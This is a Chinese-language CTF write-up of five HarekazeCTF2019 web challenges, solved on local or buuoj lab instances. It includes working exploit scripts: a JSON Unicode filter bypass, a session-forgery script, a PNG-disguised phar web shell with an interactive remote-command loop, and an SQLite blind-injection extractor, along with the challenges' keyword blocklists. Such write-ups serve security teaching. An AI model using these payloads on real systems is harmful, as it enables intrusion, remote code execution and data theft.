HarekazeCTF2019 web

2019-10-29 约 1335 字 预计阅读 7 分钟

声明:本文 【HarekazeCTF2019 web】 由作者 peri0d 于 2019-10-29 09:05:23 首发 先知社区 曾经 浏览数 117 次

感谢 peri0d 的辛苦付出!

在 buuoj 上看到的这个比赛题目,期间平台关了,就拿了 Dockerfile 本地做了,web 题目感觉还不错

encode_and_encode [100]

  • 打开靶机,前两个页面都是 html 页面,第三个给了页面源码

  • 源码如下

<?php
error_reporting(0);

if (isset($_GET['source'])) {
    show_source(__FILE__);
    exit();
}

function is_valid($str) {
    $banword = [
      // no path traversal
      '\.\.',
      // no stream wrapper
      '(php|file|glob|data|tp|zip|zlib|phar):',
      // no data exfiltration
      'flag'
    ];
    $regexp = '/' . implode('|', $banword) . '/i';
    if (preg_match($regexp, $str)) {
      return false;
    }
    return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
    $page = $json['page'];
    $content = file_get_contents($page);
    if (!$content || !is_valid($content)) {
      $content = "<p>not found</p>\n";
    }
  } else {
    $content = '<p>invalid request</p>';
  }

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);
  • file_get_contents('php://input') 获取 post 的数据,json_decode($body, true) 用 json 格式解码 post 的数据,然后 is_valid($body) 对 post 数据检验,大概输入的格式如下

  • is_valid($body) 对 post 数据检验,导致无法传输 $banword 中的关键词,也就无法传输 flag,这里在 json 中,可以使用 Unicode 编码绕过,flag 就等于 \u0066\u006c\u0061\u0067

  • 通过检验后,获取 page 对应的文件,并且页面里的内容也要通过 is_valid 检验,然后将文件中 HarekazeCTF{} 替换为 HarekazeCTF{&lt;censored&gt;} ,这样就无法明文读取 flag

  • 这里传入 /\u0066\u006c\u0061\u0067 后,由于 flag 文件中也包含 flag 关键字,所以返回 not found ,这也无法使用 file://

  • file_get_contents 是可以触发 php://filter 的,所以考虑使用伪协议读取,对 php 的过滤使用 Unicode 绕过即可

  • 可以看出,json 在传输时是 Unicode 编码的

Avatar Uploader 1 [100]

  • 给了源码,打开靶机,登录之后,是一个文件上传

  • 首先 config.php 中定义了一些常量

  • 然后在 upload.php 中判断文件大小,并使用 FILEINFO 判断上传图片类型,上传图片只能是 png 类型

  • 后面再用 getimagesize 判断文件像素大小,并且再进行一次类型判断,如果不是 png 类型就给出 flag

  • 在这两种判断上传图片类型的函数中,有一个很有趣的现象, FILEINFO 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以,代码如下

<?php
$file = finfo_open(FILEINFO_MIME_TYPE);

var_dump(finfo_file($file, "test"));

$f = getimagesize("test"); 
var_dump($f[2] === IMAGETYPE_PNG);
  • 结果,16进制文件也在下面

  • 直接上传这个文件就可以获取 flag 了

Easy Notes [200]

  • 给了源码,打开靶机,是一个笔记系统

  • 在登陆处进行了匹配,只允许输入 4 到 64 位规定字符,且不是前端验证

  • 登陆成功后,可以进行增删查和导出为 zip 或 tar 的功能,点击 Get flag 提示不是 admin

  • 既然拿到源码就先看看全局配置 config.php ,就写了一行,定义临时文件目录

define('TEMP_DIR', '/var/www/tmp');
  • 进入 page/flag.php 看一下给出 flag 的条件,要满足 is_admin() 函数

  • 跟进 is_admin() 函数,没有发现什么可以利用的地方

  • 看到有个导出功能,它会将添加的 note 导出为 zip,这个文件存放的位置在 TEMP_DIR ,和 session 信息保存在同一个位置,那么是不是可以考虑伪造 session

  • session 文件以 sess_ 开头,且只含有 a-zA-Z0-9-

  • 看到 $filename 处可以满足所有的条件

  • 构造 usersess_type. ,经过处理之后,$path 就是 TEMP_DIR/sess_0123456789abcdef 这就伪造了一个 session 文件

  • 然后向这个文件写入 note 的 title

  • php 默认的 session 反序列化方式是 php ,其存储方式为 键名+竖线+经过serialize函数序列处理的值 ,这就可以伪造 admin

  • 在最后,它会将构造的 $filename 返回,这样就可以拿到构造出的 admin 的 session 数据

  • 很典型的 session 伪造,session 反序列化

  • 利用脚本

import re
import requests
URL = 'http://192.168.233.136:9000/'

while True:
    # login as sess_
    sess = requests.Session()
    sess.post(URL + 'login.php', data={
        'user': 'sess_'
    })

    # make a crafted note
    sess.post(URL + 'add.php', data={
        'title': '|N;admin|b:1;',
        'body': 'hello'
    })

    # make a fake session
    r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
    print(r)

    sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
    print(sessid)

    # get the flag
    r = requests.get(URL + '?page=flag', cookies={
        'PHPSESSID': sessid
    }).content.decode('utf-8')
    flag = re.findall(r'HarekazeCTF\{.+\}', r)

    if len(flag) > 0:
        print(flag[0])
        break

Avatar Uploader 2 [300]

<?php
error_reporting(0);

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
if ($session->isset('flash')) {
  $flash = $session->get('flash');
  $session->unset('flash');
}
$avatar = $session->isset('avatar') ? 'uploads/' . $session->get('avatar') : 'default.png' ;
$session->save();

include('common.css');

include($session->get('theme', 'light') . '.css');

if ($session->isset('name')) {
    echo "Hello".$session->get('name')."</br>";
}

if ($flash) {
    echo $flash['type']."</br>";
    echo $flash['message']."</br>";
}
if ($session->isset('name')) {
    echo "Please upload"."</br>";
} else {
    echo "Please sign in"."</br>";
}
  • 这里的 session 处理机制是自己写的,在 lib\session.php 中,首先确认的事情是,登录后 HTTP 头部返回的 Cookiesession=******.****** 这种格式的

  • 首先 __construct 中,判断 session 是否存在 $_COOKIE 中,如果存在则以 . 分割 session ,然后对 datasignature 进行 verify 函数认证,认证成功就返回数据的 json_decode 的结果

  • isset 中判断参数 $key 是否在 data 中,get 中返回 datakey 为参数 $key 的数据,set 中将 datakey 为参数 $key 的数据设置为参数 $valueunset 中删除 datakey 为参数 $key 的数据

  • save 中将 data 转化为 json 并进行 urlsafe_base64_encode,再用 signdata 进行签名

  • 这样整个 session.php 就完了,回到 index.php,然后进行的是 flash 的判断,找了一下,在 lib\util.php 中描述了 flash 并且给了调用 flash 函数的条件,即 error 函数,找了一下,errorupload.php 中,上传失败时调用

  • 做的测试如图,flash 将错误信息保存在 session 中的

  • 根据给的提示,password_hash 函数是存在安全隐患的,它的第一个参数不能超过 72 个字符,这个函数在 sign 中被调用,signsave 调用,saveindex.php 中被调用

  • password_hash 函数的漏洞就意味着只对前 72 个字符进行签名,只要前 72 个字符相同,那么就会在校验时通过

  • 那么是不是可以登录一次,然后访问 upload.php 触发 error 函数,这样就能绕过 session 校验,然后对 data 信息进行修改,进而触发其他操作

  • 可以看到,在 index.php 中存在一行代码 include($session->get('theme','light').'.css'); ,session 信息是由我们控制的,那么就可以通过 phar 协议,触发 LFI ,首先要把 phar 文件上传,里面复合一个假的 css 文件,存放一句话,这样就可以在 include 时触发 RCE

  • 生成 phar 代码

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
  • 本地对这个 phar 做的一个测试

  • 新登录一个用户,上传这个 phar,记录这个 phar 的地址和名字,然后去 upload.php 触发一次 error ,记录 datasignature ,修改 data ,增加 theme 键,键值为 phar 协议读取上传的文件,然后生成 session 再去访问 index.php 传入命令即可

  • exp.py

import base64
import json
import re
import requests
import urllib.parse

url = 'http://192.168.233.136:9003/'

def b64decode(s):
    return base64.urlsafe_b64decode(s + '=' * (3 - (3 + len(s)) % 4))

sess = requests.Session()
username = b"peri0d".decode()

url_1 = url + 'signin.php'
sess.post(url=url_1, data={'name': username})

url_2 = url + 'upload.php'
f = open('exp.phar', 'rb')
sess.post(url_2, files={'file': ('exp.png', f)})

data = sess.cookies['session'].split('.')[0]
data = json.loads(b64decode(data))
avatar = data['avatar']

url_3 = url + 'upload.php'
sess.get(url_3, allow_redirects=False)
data, sig = sess.cookies['session'].split('.')
data = b64decode(data)
payload = data.replace(b'}}', '}},"theme":"phar://uploads/{}/exp"}}'.format(avatar).encode())
sess.cookies.set('session', base64.b64encode(payload).decode().replace('=', '') + '.' + sig)

while True:
    command = input('> ')
    c = sess.get(url + '?cmd=' + urllib.parse.quote(command)).content.decode()
    result = re.findall(r'/\* light/dark.css \*/(.+)/\*\*/', c, flags=re.DOTALL)[0]
    print(result.strip())

Sqlite Voting [350]

  • 打开靶机,看到投票的页面,并且给了源码

  • vote.php 页面 POST 参数 id ,只能为数字。并且在 schema.sql 中发现了 flag

DROP TABLE IF EXISTS `vote`;
  CREATE TABLE `vote` (
    `id` INTEGER PRIMARY KEY AUTOINCREMENT,
    `name` TEXT NOT NULL,
    `count` INTEGER
  );
  INSERT INTO `vote` (`name`, `count`) VALUES
    ('dog', 0),
    ('cat', 0),
    ('zebra', 0),
    ('koala', 0);

  DROP TABLE IF EXISTS `flag`;
  CREATE TABLE `flag` (
    `flag` TEXT NOT NULL
  );
  INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
  • vote.php 中给出了查询的 SQL 语句,但是对参数进行了检测
function is_valid($str) {
    $banword = [
      // dangerous chars
      // " % ' * + / < = > \ _ ` ~ -
      "[\"%'*+\\/<=>\\\\_`~-]",
      // whitespace chars
      '\s',
      // dangerous functions
      'blob', 'load_extension', 'char', 'unicode',
      '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
      'in', 'limit', 'order', 'union', 'join'
    ];
    $regexp = '/' . implode('|', $banword) . '/i';
    if (preg_match($regexp, $str)) {
      return false;
    }
    return true;
  }

  $id = $_POST['id'];
  if (!is_valid($id)) {
    die(json_encode(['error' => 'Vote id contains dangerous chars']));
  }

  $pdo = new PDO('sqlite:../db/vote.db');
  $res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
  if ($res === false) {
    die(json_encode(['error' => 'An error occurred while updating database']));
  }
  • UPDATE 成功与失败分别对应了不同的页面,那么是不是可以进行盲注,但是考虑到它过滤了 '" 这就无法使用字符进行判断,char 又被过滤也无法使用 ASCII 码判断

  • 所以可以考虑使用 hex 进行字符判断,将所有的的字符串组合用有限的 36 个字符表示

  • 先考虑对 flag 16 进制长度的判断,假设它的长度为 xy 表示 2 的 n 次方,那么 x&y 就能表现出 x 二进制为 1 的位置,将这些 y 再进行或运算就可以得到完整的 x 的二进制,也就得到了 flag 的长度,而 1<<n 恰可以表示 2 的 n 次方

  • 那么如何构造报错语句呢?在 sqlite3 中,abs 函数有一个整数溢出的报错,如果 abs 的参数是 -9223372036854775808 就会报错,同样如果是正数也会报错

  • 判断长度的 payload : abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)

  • 脚本如下,长度 84

import requests

  url = "http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php"
  l = 0
  for n in range(16):
    payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
    data = {
        'id' : payload
    }

    r = requests.post(url=url, data=data)
    print(r.text)
    if 'occurred' in r.text:
        l = l|1<<n

  print(l)

  • 然后考虑逐字符进行判断,但是 is_valid() 过滤了大部分截取字符的函数,而且也无法用 ASCII 码判断
  • 这一题对盲注语句的构造很巧妙,首先利用如下语句分别构造出 ABCDEF ,这样十六进制的所有字符都可以使用了,并且使用 trim(0,0) 来表示空字符
# hex(b'zebra') = 7A65627261
  # 除去 12567 就是 A ,其余同理
  A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'

  C = 'trim(hex(typeof(.1)),12567)'

  D = 'trim(hex(0xffffffffffffffff),123)'

  E = 'trim(hex(0.1),1230)'

  F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'

  # hex(b'koala') = 6B6F616C61
  # 除去 16CF 就是 B
  B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'
  • 然后逐字符进行爆破,已经知道 flag 格式为 flag{}hex(b'flag{')==666C61677B ,在其后面逐位添加十六进制字符,构成 paylaod
  • 再利用 replace(length(replace(flag,payload,''))),84,'') 这个语句进行判断
  • 如果 flag 不包含 payload ,那么得到的 length 必为 84 ,最外面的 replace 将返回 false ,通过 case when then else 构造 abs 参数为 0 ,它不报错
  • 如果 flag 包含 payload ,那么 replace(flag, payload, '') 将 flag 中的 payload 替换为空,得到的 length 必不为 84 ,最外面的 replace 将返回 true ,通过 case when then else 构造 abs 参数为 0x8000000000000000 令其报错
  • 以上就可以根据报错爆破出 flag,最后附上出题人脚本
# coding: utf-8
import binascii
import requests
URL = 'http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php'


l = 0
i = 0
for j in range(16):
  r = requests.post(URL, data={
    'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
  })
  if b'An error occurred' in r.content:
    l |= 1 << j
print('[+] length:', l)


table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'


res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
  for x in '0123456789ABCDEF':
    t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
    r = requests.post(URL, data={
      'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
    })
    if b'An error occurred' in r.content:
      res += x
      break
  print(f'[+] flag ({i}/{l}): {res}')
  i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

题目总结

  1. json 传输时是 Unicode 编码的,可以使用 Unicode 编码来绕过一个关键词过滤
  2. FILEINFO 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以
  3. php 默认的 session 反序列化方式是 php ,其存储方式为 键名+竖线+经过serialize函数序列处理的值 ,默认保存在 /tmp
  4. 上传文件存放的位置在 TEMP_DIR ,和 session 信息保存在同一个位置,那么是不是可以考虑伪造 session
  5. password_hash 函数只对第一个参数的前 72 个字符有效
  6. phar 是一系列文件的集合,通过 addFromString(filename, file_content) 写入信息,那么通过 phar://test.phar/filename 自然可以读取到,通常文件上传多可以考虑 phar
  7. sqlite3 盲注 bypass ,利用 replace() 和 length 进行爆破,trim() 替换空字符,trim() 和 hex() 构造字符,& 特性获取长度等等,在 mysql 中也存在溢出的现象

参考链接

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now